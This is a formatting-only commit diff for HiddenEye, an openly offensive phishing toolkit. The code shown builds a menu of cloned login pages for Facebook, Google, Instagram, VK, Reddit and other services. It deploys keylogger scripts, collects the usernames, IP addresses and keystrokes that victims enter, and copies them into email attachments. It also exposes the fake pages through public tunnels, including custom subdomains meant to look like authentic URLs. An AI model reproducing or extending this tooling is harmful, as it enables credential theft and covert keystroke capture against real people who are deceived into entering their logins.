Restyled by autopep8

This commit is contained in:
Restyled.io 2020-07-12 20:32:13 +00:00
parent a6e47dd442
commit 845e57eaef
8 changed files with 262 additions and 184 deletions

View File

@ -192,7 +192,8 @@ def start_serveo(port):
except CalledProcessError: except CalledProcessError:
print(localization.lang_start_serveo["failed_to_get_domain"]) print(localization.lang_start_serveo["failed_to_get_domain"])
print(localization.lang_start_serveo["suggestion_to_fix_issue"]) print(localization.lang_start_serveo["suggestion_to_fix_issue"])
print(localization.lang_start_serveo["you_can_try_to_select_other_domain"]) print(
localization.lang_start_serveo["you_can_try_to_select_other_domain"])
wait(4) wait(4)
run_command('clear') run_command('clear')
return custom(port) return custom(port)
@ -240,6 +241,7 @@ def start_localxpose(port):
with ZipFile(BytesIO(loclxzip.read())) as zip_file: with ZipFile(BytesIO(loclxzip.read())) as zip_file:
zip_file.extractall("External_Software") zip_file.extractall("External_Software")
chmod('External_Software/loclx', 0o777) chmod('External_Software/loclx', 0o777)
def random(port): def random(port):
run_command('clear') run_command('clear')
print(global_localization.hidden_eye_logo) print(global_localization.hidden_eye_logo)
@ -247,7 +249,8 @@ def start_localxpose(port):
print(global_localization.by_darksec) print(global_localization.by_darksec)
print(global_localization.line_of_dots) print(global_localization.line_of_dots)
print(localization.lang_start_localxpose["localxpose_random_server"]) print(localization.lang_start_localxpose["localxpose_random_server"])
run_command(['External_Software/loclx', 'tunnel', 'http', '--to', ':{0}'.format(port), '>', 'link.url'], stdout=DEVNULL, stderr=DEVNULL) run_command(['External_Software/loclx', 'tunnel', 'http', '--to',
':{0}'.format(port), '>', 'link.url'], stdout=DEVNULL, stderr=DEVNULL)
try: try:
output = check_output( output = check_output(
"grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True) "grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True)
@ -272,11 +275,14 @@ def start_localxpose(port):
{0}http://github.com/darksecdevelopers {0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)'''.format( {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)'''.format(
default_palette[0], default_palette[2])) default_palette[0], default_palette[2]))
lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format(default_palette[0], default_palette[2])) lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format(
run_command('./Server/loclx tunnel http --to :%s --subdomain %s > link.url 2> /dev/null &' % (port, lnk)) default_palette[0], default_palette[2]))
run_command(
'./Server/loclx tunnel http --to :%s --subdomain %s > link.url 2> /dev/null &' % (port, lnk))
wait(7) wait(7)
try: try:
output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True) output = check_output(
"grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True)
url = output.decode("utf-8") url = output.decode("utf-8")
run_command('clear') run_command('clear')
print(''' print('''
@ -312,7 +318,8 @@ def start_localxpose(port):
print( print(
"\n{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url) \n{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)".format( "\n{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url) \n{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)".format(
default_palette[0], default_palette[2])) default_palette[0], default_palette[2]))
choice = input("\n\n{0}YOUR CHOICE >>> {1}".format(default_palette[0], default_palette[2])) choice = input("\n\n{0}YOUR CHOICE >>> {1}".format(
default_palette[0], default_palette[2]))
run_command('clear') run_command('clear')
if choice == '1': if choice == '1':
@ -338,7 +345,8 @@ def start_localtunnel(port, npm):
default_palette[2])) default_palette[2]))
print("\n{0}[{1}+{0}]{1}Type Subdomain for Custom URL. \n{0}[{1}+{0}]{1}Leave Empty For Random URL".format( print("\n{0}[{1}+{0}]{1}Type Subdomain for Custom URL. \n{0}[{1}+{0}]{1}Leave Empty For Random URL".format(
default_palette[0], default_palette[2])) default_palette[0], default_palette[2]))
s = input('\n{0}(Localtunnel/Subdomain)> {1}'.format(default_palette[0], default_palette[2])) s = input(
'\n{0}(Localtunnel/Subdomain)> {1}'.format(default_palette[0], default_palette[2]))
try: try:
run_command('{0}lt -p '.format('' if npm else 'Server/') + run_command('{0}lt -p '.format('' if npm else 'Server/') +
port + ((' -s ' + s) if s != '' else s) + ' > link.url &') port + ((' -s ' + s) if s != '' else s) + ' > link.url &')
@ -376,7 +384,8 @@ def start_openport(port):
run_command('openport -K && openport %s > output.txt &' % (port)) run_command('openport -K && openport %s > output.txt &' % (port))
print('{0}[{1}*{0}] {1}Openport Server Running in Background.. Please wait.'.format(default_palette[0], print('{0}[{1}*{0}] {1}Openport Server Running in Background.. Please wait.'.format(default_palette[0],
default_palette[4])) default_palette[4]))
wait(20) # Sleep time is important as the openport command takes some time to give response link. # Sleep time is important as the openport command takes some time to give response link.
wait(20)
run_command( run_command(
'cat output.txt | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | grep -v https://openport.io/user > openport.txt') # Taking out the neccesary verification link from output txt file of openport (above). 'cat output.txt | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | grep -v https://openport.io/user > openport.txt') # Taking out the neccesary verification link from output txt file of openport (above).
print('{0}[{1}*{0}] {1}Working To Get OpenPort Tunnel Activation Link...'.format(default_palette[0], print('{0}[{1}*{0}] {1}Working To Get OpenPort Tunnel Activation Link...'.format(default_palette[0],
@ -384,13 +393,15 @@ def start_openport(port):
with open('openport.txt') as f: with open('openport.txt') as f:
read_data = f.read() read_data = f.read()
if 'openport.io/l/' in read_data: if 'openport.io/l/' in read_data:
print('{0}[{1}*{0}] {1}Got Activation Link...'.format(default_palette[0], default_palette[4])) print(
'{0}[{1}*{0}] {1}Got Activation Link...'.format(default_palette[0], default_palette[4]))
else: else:
print('{0}[{1}^{0}] {1}Failed To Get Openport Activation Link... '.format(default_palette[0], print('{0}[{1}^{0}] {1}Failed To Get Openport Activation Link... '.format(default_palette[0],
default_palette[4])) default_palette[4]))
output = open('output.txt', 'r') output = open('output.txt', 'r')
output = output.read() output = output.read()
print('{0}[{1}!{0}] {1}Openport Error:\n\n{2}'.format(default_palette[0], default_palette[4], output)) print('{0}[{1}!{0}] {1}Openport Error:\n\n{2}'.format(
default_palette[0], default_palette[4], output))
input('\n\n{0}[{1}*{0}] {1}Try Other Tunnels... (Press Enter)'.format(default_palette[0], input('\n\n{0}[{1}*{0}] {1}Try Other Tunnels... (Press Enter)'.format(default_palette[0],
default_palette[4])) default_palette[4]))
server_selection(port) server_selection(port)
@ -472,7 +483,8 @@ def start_pagekite(port):
default_palette[0], default_palette[4])) default_palette[0], default_palette[4]))
input("\n{0}[{1}*{0}] {0}Press Enter To Launch The Pagekite...{1}".format(default_palette[0], input("\n{0}[{1}*{0}] {0}Press Enter To Launch The Pagekite...{1}".format(default_palette[0],
default_palette[4])) default_palette[4]))
run_command('python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me'.format(port, subdomain)) run_command(
'python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me'.format(port, subdomain))
except KeyboardInterrupt: except KeyboardInterrupt:
print('[!] Please Copy the Generated Link For Further Use') print('[!] Please Copy the Generated Link For Further Use')
credentials_collector(port) credentials_collector(port)

View File

@ -16,6 +16,7 @@ import time
module_loading_message = simple_informant.module_loading_message module_loading_message = simple_informant.module_loading_message
def start_main_menu(): def start_main_menu():
run_command('clear') run_command('clear')
print(global_localization.hidden_eye_logo) print(global_localization.hidden_eye_logo)
@ -25,22 +26,26 @@ def start_main_menu():
print(localization.lang_start_main_menu["down_line"]) print(localization.lang_start_main_menu["down_line"])
print(localization.lang_start_main_menu["attack_vector_message"]) print(localization.lang_start_main_menu["attack_vector_message"])
print(localization.lang_start_main_menu["phishing_modules_header"]) print(localization.lang_start_main_menu["phishing_modules_header"])
print_sorted_as_menu(localization.lang_start_main_menu["phishing_modules_list"]) print_sorted_as_menu(
localization.lang_start_main_menu["phishing_modules_list"])
print(localization.lang_start_main_menu["additional_modules"]) print(localization.lang_start_main_menu["additional_modules"])
print_sorted_as_menu(localization.lang_start_main_menu["additional_modules_list"]) print_sorted_as_menu(
localization.lang_start_main_menu["additional_modules_list"])
option = input(global_localization.input_line) option = input(global_localization.input_line)
option = option.zfill(2) option = option.zfill(2)
if option == '01': if option == '01':
module_loading_message('Facebook') module_loading_message('Facebook')
print(localization.lang_start_main_menu["operation_mode"]) print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu(localization.lang_start_main_menu["facebook_operation_modes"]) print_sorted_as_menu(
localization.lang_start_main_menu["facebook_operation_modes"])
customOption = input(global_localization.input_line) customOption = input(global_localization.input_line)
start_phishing_page('Facebook', customOption) start_phishing_page('Facebook', customOption)
elif option == '02': elif option == '02':
module_loading_message('Google') module_loading_message('Google')
print(localization.lang_start_main_menu["operation_mode"]) print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu(localization.lang_start_main_menu["google_operation_modes"]) print_sorted_as_menu(
localization.lang_start_main_menu["google_operation_modes"])
customOption = input(global_localization.input_line) customOption = input(global_localization.input_line)
start_phishing_page('Google', customOption) start_phishing_page('Google', customOption)
elif option == '03': elif option == '03':
@ -66,7 +71,8 @@ def start_main_menu():
elif option == '08': elif option == '08':
module_loading_message('Instagram') module_loading_message('Instagram')
print(localization.lang_start_main_menu["operation_mode"]) print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu(localization.lang_start_main_menu["instagram_operation_modes"]) print_sorted_as_menu(
localization.lang_start_main_menu["instagram_operation_modes"])
customOption = input(global_localization.input_line) customOption = input(global_localization.input_line)
start_phishing_page('Instagram', customOption) start_phishing_page('Instagram', customOption)
elif option == '09': elif option == '09':
@ -92,7 +98,8 @@ def start_main_menu():
elif option == '14': elif option == '14':
module_loading_message('VK') module_loading_message('VK')
print(localization.lang_start_main_menu["operation_mode"]) print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu(localization.lang_start_main_menu["VK_operation_modes"]) print_sorted_as_menu(
localization.lang_start_main_menu["VK_operation_modes"])
customOption = input(global_localization.input_line) customOption = input(global_localization.input_line)
start_phishing_page('VK', customOption) start_phishing_page('VK', customOption)
elif option == '15': elif option == '15':
@ -178,7 +185,8 @@ def start_main_menu():
elif option == '35': elif option == '35':
module_loading_message('Reddit') module_loading_message('Reddit')
print(localization.lang_start_main_menu["operation_mode"]) print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu(localization.lang_start_main_menu["reddit_operation_modes"]) print_sorted_as_menu(
localization.lang_start_main_menu["reddit_operation_modes"])
customOption = input(global_localization.input_line) customOption = input(global_localization.input_line)
start_phishing_page('Reddit', customOption) start_phishing_page('Reddit', customOption)
elif option == '36': elif option == '36':
@ -202,13 +210,13 @@ def start_main_menu():
customOption = '' customOption = ''
start_phishing_page('CUSTOM(2)', customOption) start_phishing_page('CUSTOM(2)', customOption)
'''PHISHING MODULES BELOW''' '''PHISHING MODULES BELOW'''
elif option == '0A': elif option == '0A':
module_loading_message('LOCATION') module_loading_message('LOCATION')
print(localization.lang_start_main_menu["operation_mode"]) print(localization.lang_start_main_menu["operation_mode"])
print_sorted_as_menu(localization.lang_start_main_menu["additional_module_location_operation_modes"]) print_sorted_as_menu(
localization.lang_start_main_menu["additional_module_location_operation_modes"])
customOption = input(global_localization.input_line) customOption = input(global_localization.input_line)
start_phishing_page('LOCATION', customOption) start_phishing_page('LOCATION', customOption)
@ -223,7 +231,7 @@ def start_phishing_page(page, custom_option): # Phishing pages selection menu
pathlib_Path('Server/www/usernames.txt').touch() pathlib_Path('Server/www/usernames.txt').touch()
pathlib_Path('Server/www/ip.txt').touch() pathlib_Path('Server/www/ip.txt').touch()
copyfile('WebPages/ip.php', 'Server/www/ip.php') copyfile('WebPages/ip.php', 'Server/www/ip.php')
copyfile('WebPages/KeyloggerData.txt','Server/www/KeyloggerData.txt') copyfile('WebPages/KeyloggerData.txt', 'Server/www/KeyloggerData.txt')
copyfile('WebPages/keylogger.js', 'Server/www/keylogger.js') copyfile('WebPages/keylogger.js', 'Server/www/keylogger.js')
copyfile('WebPages/keylogger.php', 'Server/www/keylogger.php') copyfile('WebPages/keylogger.php', 'Server/www/keylogger.php')
try: try:
@ -231,7 +239,6 @@ def start_phishing_page(page, custom_option): # Phishing pages selection menu
except: except:
pass pass
if custom_option == '1' and page == 'Facebook': if custom_option == '1' and page == 'Facebook':
webpage_set("WebPages/fb_standard/", "Server/www/") webpage_set("WebPages/fb_standard/", "Server/www/")
elif custom_option == '2' and page == 'Facebook': elif custom_option == '2' and page == 'Facebook':
@ -331,16 +338,22 @@ def start_phishing_page(page, custom_option): # Phishing pages selection menu
elif page == 'Xbox': elif page == 'Xbox':
webpage_set('WebPages/xbox/', "Server/www/") webpage_set('WebPages/xbox/', "Server/www/")
elif page == 'CUSTOM(1)': elif page == 'CUSTOM(1)':
print(localization.lang_start_phishing_page["custom_folder_directory"].format(page = page)) print(localization.lang_start_phishing_page["custom_folder_directory"].format(
print(localization.lang_start_phishing_page["manual_reading_suggestion"].format(page = page)) page=page))
input(localization.lang_start_phishing_page["press_enter_to_continue_if_setup_correctly"]) print(localization.lang_start_phishing_page["manual_reading_suggestion"].format(
page=page))
input(
localization.lang_start_phishing_page["press_enter_to_continue_if_setup_correctly"])
print(localization.lang_start_phishing_page["copying_your_files"]) print(localization.lang_start_phishing_page["copying_your_files"])
wait(3) wait(3)
webpage_set('WebPages/CUSTOM(1)/', "Server/www/") webpage_set('WebPages/CUSTOM(1)/', "Server/www/")
elif page == 'CUSTOM(2)': elif page == 'CUSTOM(2)':
print(localization.lang_start_phishing_page["custom_folder_directory"].format(page = page)) print(localization.lang_start_phishing_page["custom_folder_directory"].format(
print(localization.lang_start_phishing_page["manual_reading_suggestion"].format(page = page)) page=page))
input(localization.lang_start_phishing_page["press_enter_to_continue_if_setup_correctly"]) print(localization.lang_start_phishing_page["manual_reading_suggestion"].format(
page=page))
input(
localization.lang_start_phishing_page["press_enter_to_continue_if_setup_correctly"])
print(localization.lang_start_phishing_page["copying_your_files"]) print(localization.lang_start_phishing_page["copying_your_files"])
wait(3) wait(3)
webpage_set('WebPages/CUSTOM(2)/', "Server/www/") webpage_set('WebPages/CUSTOM(2)/', "Server/www/")
@ -350,13 +363,15 @@ def start_phishing_page(page, custom_option): # Phishing pages selection menu
wait(3) wait(3)
webpage_set('WebPages/TOOLS/nearyou', "Server/www/") webpage_set('WebPages/TOOLS/nearyou', "Server/www/")
print(localization.lang_start_phishing_page["https_suggestion"]) print(localization.lang_start_phishing_page["https_suggestion"])
input(localization.lang_start_phishing_page["press_enter_to_continue_if_setup_correctly"]) input(
localization.lang_start_phishing_page["press_enter_to_continue_if_setup_correctly"])
elif custom_option == '2' and page == 'LOCATION': elif custom_option == '2' and page == 'LOCATION':
wait(3) wait(3)
webpage_set('WebPages/TOOLS/gdrive', "Server/www/") webpage_set('WebPages/TOOLS/gdrive', "Server/www/")
print(localization.lang_start_phishing_page["https_suggestion"]) print(localization.lang_start_phishing_page["https_suggestion"])
print(localization.lang_start_phishing_page["gdrive_suggestion"]) print(localization.lang_start_phishing_page["gdrive_suggestion"])
input(localization.lang_start_phishing_page["press_enter_to_continue_if_setup_correctly"]) input(
localization.lang_start_phishing_page["press_enter_to_continue_if_setup_correctly"])
else: else:
run_command('clear') run_command('clear')
@ -364,20 +379,25 @@ def start_phishing_page(page, custom_option): # Phishing pages selection menu
time.sleep(1) time.sleep(1)
start_main_menu() start_main_menu()
def enter_custom_redirecting_url(): # Question where user can input custom web-link def enter_custom_redirecting_url(): # Question where user can input custom web-link
run_command('clear') run_command('clear')
print(global_localization.hidden_eye_logo) print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link) print(global_localization.official_website_link)
print(global_localization.by_darksec) print(global_localization.by_darksec)
print(localization.lang_enter_custom_redirecting_url["enter_redirecting_url_header"]) print(
print(localization.lang_enter_custom_redirecting_url["enter_redirecting_url_prompt"]) localization.lang_enter_custom_redirecting_url["enter_redirecting_url_header"])
custom = input(localization.lang_enter_custom_redirecting_url["redirect_here"]) print(
localization.lang_enter_custom_redirecting_url["enter_redirecting_url_prompt"])
custom = input(
localization.lang_enter_custom_redirecting_url["redirect_here"])
if 'http://' in custom or 'https://' in custom: if 'http://' in custom or 'https://' in custom:
pass pass
else: else:
custom = 'http://' + custom custom = 'http://' + custom
if path.exists('Server/www/js/location.js'): # For Location (gdrive) Template Redirection. # For Location (gdrive) Template Redirection.
if path.exists('Server/www/js/location.js'):
with open('Server/www/js/location.js') as f: with open('Server/www/js/location.js') as f:
read_data = f.read() read_data = f.read()
c = read_data.replace('<CUSTOM>', custom) c = read_data.replace('<CUSTOM>', custom)
@ -413,5 +433,6 @@ def enter_custom_redirecting_url(): # Question where user can input custom web-
print(global_localization.hidden_eye_logo) print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link) print(global_localization.official_website_link)
print(global_localization.by_darksec) print(global_localization.by_darksec)
print("[^] ERROR: Please make sure your folder contains a valid login.php file.") print(
"[^] ERROR: Please make sure your folder contains a valid login.php file.")
exit() exit()

View File

@ -40,7 +40,7 @@ def license_handler():
return False return False
def exit_message(port = 80): # Message when HiddenEye exit def exit_message(port=80): # Message when HiddenEye exit
"""Displays preconfigured message when HiddenEye execution ends or user tries to leave app. """Displays preconfigured message when HiddenEye execution ends or user tries to leave app.
Args: Args:
@ -61,10 +61,12 @@ def exit_message(port = 80): # Message when HiddenEye exit
run_command('clear') run_command('clear')
print(global_localization.hidden_eye_logo) print(global_localization.hidden_eye_logo)
print(' ' + global_localization.by_darksec) print(' ' + global_localization.by_darksec)
print(' ' + global_localization.official_website_link) print(' ' +
global_localization.official_website_link)
print(localization.lang_exit_message["help_to_improve_this_tool"]) print(localization.lang_exit_message["help_to_improve_this_tool"])
print(localization.lang_exit_message["tell_if_page_got_broken"]) print(localization.lang_exit_message["tell_if_page_got_broken"])
print(localization.lang_exit_message["make_your_pull_request_or_issue"]) print(
localization.lang_exit_message["make_your_pull_request_or_issue"])
print(localization.lang_exit_message["small_disclaimer_suggestion"]) print(localization.lang_exit_message["small_disclaimer_suggestion"])
print(localization.lang_exit_message["forum_suggestion"]) print(localization.lang_exit_message["forum_suggestion"])
print(localization.lang_exit_message["financial_support"]) print(localization.lang_exit_message["financial_support"])
@ -73,6 +75,7 @@ def exit_message(port = 80): # Message when HiddenEye exit
run_command('clear') run_command('clear')
return exit_message(port) return exit_message(port)
def terms_of_service_message(): def terms_of_service_message():
"""Requests user to provide agreement to license provided. """Requests user to provide agreement to license provided.
@ -82,21 +85,26 @@ def terms_of_service_message():
agreement = license_handler() agreement = license_handler()
if not agreement: if not agreement:
print(localization.lang_terms_of_service_message["GPL_3.0"]) print(localization.lang_terms_of_service_message["GPL_3.0"])
print(localization.lang_terms_of_service_message["great_power_great_responsibility"]) print(
print(localization.lang_terms_of_service_message["do_you_accept_license"]) localization.lang_terms_of_service_message["great_power_great_responsibility"])
print(localization.lang_terms_of_service_message["enter_this_to_confirm"]) print(
localization.lang_terms_of_service_message["do_you_accept_license"])
print(
localization.lang_terms_of_service_message["enter_this_to_confirm"])
agreement = input(global_localization.input_line) agreement = input(global_localization.input_line)
if localization.text_to_confirm_license not in agreement: if localization.text_to_confirm_license not in agreement:
print(localization.lang_terms_of_service_message["you_are_not_allowed"]) print(
localization.lang_terms_of_service_message["you_are_not_allowed"])
exit() exit()
else: else:
eula = open('eula.txt', 'w') eula = open('eula.txt', 'w')
eula.write(localization.write_eula +"eula = True") eula.write(localization.write_eula + "eula = True")
eula.close() eula.close()
return True return True
else: else:
return True return True
def module_loading_message(option_name): # This one just show text.. def module_loading_message(option_name): # This one just show text..
"""Prints "Select any mode" message. """ """Prints "Select any mode" message. """
print(option_name + localization.lang_module_loading_message["is_loaded"]) print(option_name + localization.lang_module_loading_message["is_loaded"])
@ -110,14 +118,18 @@ def credentials_collector():
with open('Server/www/usernames.txt') as creds: with open('Server/www/usernames.txt') as creds:
lines = creds.read().rstrip() lines = creds.read().rstrip()
if len(lines) != 0: if len(lines) != 0:
log_writer(localization.lang_credentials_collector["credentials_found"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines)) log_writer(localization.lang_credentials_collector["credentials_found"] + "{0}{2}{1}".format(
pathlib_Path("Server/CapturedData/usernames.txt").touch(mode=0o777, exist_ok=True) default_palette[2], default_palette[3], lines))
captured_usernames = open('Server/CapturedData/usernames.txt', 'a') pathlib_Path(
"Server/CapturedData/usernames.txt").touch(mode=0o777, exist_ok=True)
captured_usernames = open(
'Server/CapturedData/usernames.txt', 'a')
new_usernames = open('Server/www/usernames.txt') new_usernames = open('Server/www/usernames.txt')
captured_usernames.write(new_usernames.read()) captured_usernames.write(new_usernames.read())
new_usernames.close() new_usernames.close()
captured_usernames.close() captured_usernames.close()
copyfile('Server/CapturedData/usernames.txt', 'Defs/FeatureManager/EmailManager/attachments/usernames.txt') copyfile('Server/CapturedData/usernames.txt',
'Defs/FeatureManager/EmailManager/attachments/usernames.txt')
new_usernames = open('Server/www/usernames.txt', 'w') new_usernames = open('Server/www/usernames.txt', 'w')
new_usernames.write('') new_usernames.write('')
@ -126,33 +138,39 @@ def credentials_collector():
with open('Server/www/ip.txt') as creds: with open('Server/www/ip.txt') as creds:
lines = creds.read().rstrip() lines = creds.read().rstrip()
if len(lines) != 0: if len(lines) != 0:
log_writer(localization.lang_credentials_collector["device_details_found"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines)) log_writer(localization.lang_credentials_collector["device_details_found"] + "{0}{2}{1}".format(
pathlib_Path("Server/CapturedData/ip.txt").touch(mode=0o777, exist_ok=True) default_palette[2], default_palette[3], lines))
pathlib_Path(
"Server/CapturedData/ip.txt").touch(mode=0o777, exist_ok=True)
captured_ips = open('Server/CapturedData/ip.txt', 'a') captured_ips = open('Server/CapturedData/ip.txt', 'a')
new_ips = open('Server/www/ip.txt') new_ips = open('Server/www/ip.txt')
captured_ips.write(new_ips.read()) captured_ips.write(new_ips.read())
new_ips.close() new_ips.close()
captured_ips.close() captured_ips.close()
copyfile('Server/CapturedData/ip.txt', 'Defs/FeatureManager/EmailManager/attachments/ip.txt') copyfile('Server/CapturedData/ip.txt',
'Defs/FeatureManager/EmailManager/attachments/ip.txt')
new_ips = open('Server/www/ip.txt', 'w') new_ips = open('Server/www/ip.txt', 'w')
new_ips.write('') new_ips.write('')
new_ips.close() new_ips.close()
creds.close() creds.close()
with open('Server/www/KeyloggerData.txt') as creds: with open('Server/www/KeyloggerData.txt') as creds:
lines = creds.read().rstrip() lines = creds.read().rstrip()
if len(lines) != 0: if len(lines) != 0:
log_writer(global_localization.line_of_dots) log_writer(global_localization.line_of_dots)
log_writer(localization.lang_credentials_collector["getting_pressed_keys"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines)) log_writer(localization.lang_credentials_collector["getting_pressed_keys"] + "{0}{2}{1}".format(
pathlib_Path('Server/CapturedData/KeyloggerData.txt').touch(mode=0o777, exist_ok=True) default_palette[2], default_palette[3], lines))
captured_keys = open('Server/CapturedData/KeyloggerData.txt', 'a') pathlib_Path(
'Server/CapturedData/KeyloggerData.txt').touch(mode=0o777, exist_ok=True)
captured_keys = open(
'Server/CapturedData/KeyloggerData.txt', 'a')
new_keys = open('Server/www/KeyloggerData.txt') new_keys = open('Server/www/KeyloggerData.txt')
captured_keys.write(new_keys.read()) captured_keys.write(new_keys.read())
new_keys.close() new_keys.close()
captured_keys.close() captured_keys.close()
copyfile('Server/CapturedData/KeyloggerData.txt', 'Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt') copyfile('Server/CapturedData/KeyloggerData.txt',
'Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt')
new_keys = open('Server/www/KeyloggerData.txt', 'w') new_keys = open('Server/www/KeyloggerData.txt', 'w')
new_keys.write('') new_keys.write('')
new_keys.close() new_keys.close()
@ -161,6 +179,7 @@ def credentials_collector():
creds.close() creds.close()
def log_writer(ctx): # Writing log def log_writer(ctx): # Writing log
"""I have no idea what it does, someone does, so if you are reading this - explain wtf is this method... """I have no idea what it does, someone does, so if you are reading this - explain wtf is this method...
@ -168,9 +187,11 @@ def log_writer(ctx): # Writing log
ctx ([type]): [description] ctx ([type]): [description]
""" """
logFile = open("log.txt", "w") logFile = open("log.txt", "w")
logFile.write(ctx.replace(default_palette[0], "").replace(default_palette[1], "").replace(default_palette[2], "").replace(default_palette[3], "").replace(default_palette[4], "") + "\n") logFile.write(ctx.replace(default_palette[0], "").replace(default_palette[1], "").replace(
default_palette[2], "").replace(default_palette[3], "").replace(default_palette[4], "") + "\n")
print(ctx) print(ctx)
def port_selector(): # Requests port input from user def port_selector(): # Requests port input from user
"""Asks user to input number between 1 and 65535. """Asks user to input number between 1 and 65535.
@ -194,6 +215,7 @@ def port_selector(): # Requests port input from user
except: except:
return port_selector() return port_selector()
def remove_readonly(func, path, _): def remove_readonly(func, path, _):
"""Removes read-only state of file (IDK why it exists but it does already, so...) """Removes read-only state of file (IDK why it exists but it does already, so...)
@ -227,6 +249,7 @@ def verify_connection(host='https://dark-sec-official.com'): # Connection check
print(localization.lang_verify_connection["verify_your_connection"]) print(localization.lang_verify_connection["verify_your_connection"])
exit() exit()
def check_permissions(): def check_permissions():
if check_platform("system") == "Linux": if check_platform("system") == "Linux":
if getuid() == 0: if getuid() == 0:
@ -235,6 +258,7 @@ def check_permissions():
print(localization.lang_check_permissions["permissions_denied"]) print(localization.lang_check_permissions["permissions_denied"])
exit() exit()
def check_php(): def check_php():
try: try:
try_to_run_command(['php', '-v']) try_to_run_command(['php', '-v'])
@ -243,6 +267,7 @@ def check_php():
print(localization.lang_check_php["not-found"]) print(localization.lang_check_php["not-found"])
exit() exit()
def check_platform(required_data): def check_platform(required_data):
"""Checks system for specific platform related data and returns requested value. """Checks system for specific platform related data and returns requested value.
@ -258,4 +283,4 @@ def check_platform(required_data):
elif required_data == "architecture": elif required_data == "architecture":
return architecture return architecture
else: else:
return "System: {0}, Architecture: {1}".format(system, architecture) return "System: {0}, Architecture: {1}".format(system, architecture)

View File

@ -6,7 +6,7 @@
# #
from subprocess import call as run_command, check_call as try_to_run_command ,Popen as run_background_command, check_output, CalledProcessError, DEVNULL, PIPE from subprocess import call as run_command, check_call as try_to_run_command, Popen as run_background_command, check_output, CalledProcessError, DEVNULL, PIPE
from distutils.dir_util import copy_tree as webpage_set from distutils.dir_util import copy_tree as webpage_set
from time import sleep as wait from time import sleep as wait
from os import path, system, chmod, stat, mkdir, remove, chdir, replace, getuid from os import path, system, chmod, stat, mkdir, remove, chdir, replace, getuid
@ -14,9 +14,12 @@ from shutil import rmtree, copyfile
from pathlib import Path as pathlib_Path from pathlib import Path as pathlib_Path
from pyngrok import conf as ngrok_conf, ngrok from pyngrok import conf as ngrok_conf, ngrok
import re as regular_expression import re as regular_expression
import getpass, base64, socket, requests import getpass
import base64
import socket
import requests
import platform import platform
import requests import requests
from urllib import request as url_request from urllib import request as url_request
from zipfile import ZipFile from zipfile import ZipFile
from io import BytesIO from io import BytesIO

View File

@ -6,76 +6,92 @@
# #
#Contains all ActionManager/main_runner.py translation strings # Contains all ActionManager/main_runner.py translation strings
import Defs.ThemeManager.theme as theme import Defs.ThemeManager.theme as theme
from Defs.LocalizationManager.localization import _ from Defs.LocalizationManager.localization import _
default_palette = theme.default_palette default_palette = theme.default_palette
def check_version(): #WILL BE MOVED FROM HERE
def check_version(): # WILL BE MOVED FROM HERE
with open('version.txt') as f: # THIS WILL BE MOVED TOO with open('version.txt') as f: # THIS WILL BE MOVED TOO
#ver_current = f.read() # DONT REMOVE THESE COMMENTS # ver_current = f.read() # DONT REMOVE THESE COMMENTS
#version = ver_current.strip() # TO-DO # version = ver_current.strip() # TO-DO
return f.read().strip() return f.read().strip()
version = check_version() version = check_version()
lang_start_main_menu = { lang_start_main_menu = {
"version_by_darksec": _(" {2}[{0}v {3}{2}]{0} BY:DARKSEC{1}").format(default_palette[4], default_palette[2], default_palette[0], version), "version_by_darksec": _(" {2}[{0}v {3}{2}]{0} BY:DARKSEC{1}").format(default_palette[4], default_palette[2], default_palette[0], version),
"short_description": _("{1}[{0} Modern Phishing Tool With Advanced Functionality {1}]").format(default_palette[2],default_palette[0]), "short_description": _("{1}[{0} Modern Phishing Tool With Advanced Functionality {1}]").format(default_palette[2], default_palette[0]),
"features_summary" : _("{1}[{0} PHISHING-KEYLOGGER-INFORMATION COLLECTOR-ALL_IN_ONE_TOOL-SOCIALENGINEERING {1}]").format(default_palette[2], default_palette[0]), "features_summary": _("{1}[{0} PHISHING-KEYLOGGER-INFORMATION COLLECTOR-ALL_IN_ONE_TOOL-SOCIALENGINEERING {1}]").format(default_palette[2], default_palette[0]),
"down_line" : "{0}________________________________________________________________________________".format(default_palette[0]), "down_line": "{0}________________________________________________________________________________".format(default_palette[0]),
"attack_vector_message" : _("------------------------\nSELECT ANY ATTACK VECTOR:\n------------------------"), "attack_vector_message": _("------------------------\nSELECT ANY ATTACK VECTOR:\n------------------------"),
"phishing_modules_header" : _("\n{0}PHISHING-MODULES:").format(default_palette[0]), "phishing_modules_header": _("\n{0}PHISHING-MODULES:").format(default_palette[0]),
"phishing_modules_list" : "phishing_modules_list":
